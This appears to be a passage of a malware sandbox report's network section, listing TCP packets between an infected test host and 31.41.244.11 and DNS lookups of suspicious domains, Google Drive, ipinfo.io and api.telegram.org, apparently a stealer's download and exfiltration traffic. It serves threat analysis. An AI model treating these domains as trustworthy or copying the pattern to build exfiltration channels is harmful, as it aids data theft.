Dec 21, 2024 18:16:51.355566025 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.355622053 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.356499910 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.356592894 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.356652975 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.357409954 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.357537031 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.357584953 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.358366966 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.358412981 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.358438969 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.359047890 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.359337091 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.359395981 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.359422922 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.359462976 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.360301018 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.360357046 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.360383034 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.360426903 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.361207962 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.361310959 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.361356974 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.362180948 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.362286091 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.362299919 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.362323046 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.363195896 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.363337994 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.363365889 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.363411903 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.364100933 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.364151001 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.364248037 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.364290953 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.365061045 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.365103960 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.365137100 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.365187883 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.365885973 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.365966082 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.365974903 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.366003036 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.366816998 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.366844893 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.366867065 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.366879940 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.367808104 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.367876053 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.367903948 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.367943048 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.368891954 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.368938923 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.368963003 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.369000912 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.369647980 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.369699001 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.369728088 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.369921923 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.370656967 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.370819092 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.370860100 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.371558905 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.371721029 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.371762037 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.372493029 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.372533083 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.372607946 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.373100996 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.373402119 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.373466969 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.373533964 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.373584986 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.374392033 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.374442101 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.374581099 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.374674082 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.375340939 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.375391960 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.375422001 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.375468969 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.376247883 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.376291037 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.376336098 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.376502037 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.377279997 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.377434969 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.377480030 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.378129005 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.378278017 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.378321886 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.379074097 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.379115105 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.379220963 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.379311085 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.380006075 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.380057096 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.380136967 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.380182981 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.380990028 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.381073952 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.381118059 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.381885052 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.381963015 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.381989956 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.382030010 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.382847071 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.382955074 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.383018017 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.384080887 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.384260893 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.384314060 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.384876966 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.384979963 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.385029078 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.385685921 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.385749102 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.385776043 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.385871887 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.386604071 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.386651039 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.386709929 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.386768103 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.387526989 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.387572050 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.403429985 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.403455019 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.403506994 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.403526068 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.403548956 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.403562069 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.404753923 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.404783964 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.404827118 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.404850006 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.405827999 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.405858994 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.405910015 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.406474113 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.406506062 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.406555891 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.407305002 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.407439947 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.407488108 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.408330917 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.408374071 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.408391953 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.409380913 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.409427881 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.537002087 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.537026882 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.537343979 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.537419081 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.537445068 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.537492990 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.538149118 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.538177967 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.538207054 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.538235903 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.539110899 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.539160967 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.539341927 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.540025949 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.540074110 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.540107965 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.540998936 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.541048050 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.541069031 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.541115046 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.541886091 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.541980982 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.542032003 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.542983055 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.543055058 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.543104887 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.543920994 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.544260025 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.544311047 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.544740915 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.544785023 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.544867039 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.545680046 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.545733929 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.546222925 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.546631098 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.546679974 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.546761036 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.546808958 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.547594070 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.547686100 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.547734976 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.548547029 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.548707962 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.548758030 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.549459934 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.549509048 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.549595118 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.550395966 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.550445080 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.550523996 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.551337004 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.551371098 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.551487923 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.551537037 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.552345991 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.552510977 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.552560091 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.553256989 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.553306103 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.553361893 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.554217100 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.554277897 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.554342031 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.555121899 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.555171967 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.555238962 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.555286884 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.556061029 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.556179047 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.556226969 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.556993961 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.557112932 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.557190895 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.558089972 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.558135986 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.558212042 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.559065104 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.559114933 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.559134007 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.559319019 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.560041904 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.560167074 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.560216904 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.561012983 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.561029911 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.561079025 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.561722040 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.561768055 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.561841011 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.562654972 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.562705040 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.562758923 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.563322067 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.563803911 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.563860893 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.563910961 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.564820051 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.565009117 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.565057993 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.565500975 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.565526962 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.565542936 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.565570116 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.566417933 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.566463947 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.566525936 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.566571951 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.567439079 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.567549944 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.567598104 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.568322897 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.568481922 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.568531990 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.569262028 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.569314003 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.569340944 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.570225000 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.570276022 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.570308924 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.571185112 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.571234941 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.571304083 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.572113991 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.572158098 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.572218895 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.573385000 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.573436022 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.573494911 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.573542118 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.574496031 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.574599028 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.574649096 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.575464964 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.575532913 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.575584888 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.576056957 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.576102018 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.576136112 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.576795101 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.576843977 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.576877117 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.577810049 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.577858925 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.578026056 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:51.578073025 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:51.578680038 CET	80	49866	31.41.244.11	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 21, 2024 18:16:17.081057072 CET	192.168.2.4	1.1.1.1	0x2e93	Standard query (0)	cheapptaxysu.click	A (IP address)	IN (0x0001)	false
Dec 21, 2024 18:16:30.555855989 CET	192.168.2.4	1.1.1.1	0x69ae	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Dec 21, 2024 18:16:33.362710953 CET	192.168.2.4	1.1.1.1	0xd634	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Dec 21, 2024 18:16:38.738363028 CET	192.168.2.4	1.1.1.1	0x7e25	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Dec 21, 2024 18:16:40.633452892 CET	192.168.2.4	1.1.1.1	0x4969	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Dec 21, 2024 18:16:54.912650108 CET	192.168.2.4	1.1.1.1	0xbe82	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 21, 2024 18:16:54.912709951 CET	192.168.2.4	1.1.1.1	0x897d	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 21, 2024 18:16:58.603106976 CET	192.168.2.4	1.1.1.1	0xe1d8	Standard query (0)	home.fivetk5ht.top	A (IP address)	IN (0x0001)	false
Dec 21, 2024 18:16:58.603197098 CET	192.168.2.4	1.1.1.1	0x948a	Standard query (0)	home.fivetk5ht.top	28	IN (0x0001)	false
Dec 21, 2024 18:17:06.085371017 CET	192.168.2.4	1.1.1.1	0xd530	Standard query (0)	home.fivetk5ht.top	A (IP address)	IN (0x0001)	false
Dec 21, 2024 18:17:06.085428953 CET	192.168.2.4	1.1.1.1	0x2e3e	Standard query (0)	home.fivetk5ht.top	28	IN (0x0001)	false
Dec 21, 2024 18:17:07.571729898 CET	192.168.2.4	1.1.1.1	0x24f6	Standard query (0)	treehoneyi.click	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 21, 2024 18:16:17.402654886 CET	1.1.1.1	192.168.2.4	0x2e93	No error (0)	cheapptaxysu.click	104.21.67.146	A (IP address)	IN (0x0001)	false
Dec 21, 2024 18:16:17.402654886 CET	1.1.1.1	192.168.2.4	0x2e93	No error (0)	cheapptaxysu.click	172.67.177.88	A (IP address)	IN (0x0001)	false
Dec 21, 2024 18:16:30.702482939 CET	1.1.1.1	192.168.2.4	0x69ae	No error (0)	drive.google.com	172.217.17.46	A (IP address)	IN (0x0001)	false
Dec 21, 2024 18:16:33.499545097 CET	1.1.1.1	192.168.2.4	0xd634	No error (0)	drive.usercontent.google.com	172.217.17.65	A (IP address)	IN (0x0001)	false
Dec 21, 2024 18:16:38.876450062 CET	1.1.1.1	192.168.2.4	0x7e25	No error (0)	ipinfo.io	34.117.59.81	A (IP address)	IN (0x0001)	false
Dec 21, 2024 18:16:40.770998001 CET	1.1.1.1	192.168.2.4	0x4969	No error (0)	api.telegram.org	149.154.167.220	A (IP address)	IN (0x0001)	false
Dec 21, 2024 18:16:55.216170073 CET	1.1.1.1	192.168.2.4	0xbe82	No error (0)	httpbin.org	34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 21, 2024 18:16:55.216170073 CET	1.1.1.1	192.168.2.4	0xbe82	No error (0)	httpbin.org	98.85.100.80	A (IP address)	IN (0x0001)	false
Dec 21, 2024 18:16:59.356529951 CET	1.1.1.1	192.168.2.4	0xe1d8	No error (0)	home.fivetk5ht.top	185.121.15.192	A (IP address)	IN (0x0001)	false
Dec 21, 2024 18:17:06.411700010 CET	1.1.1.1	192.168.2.4	0xd530	No error (0)	home.fivetk5ht.top	185.121.15.192	A (IP address)	IN (0x0001)	false
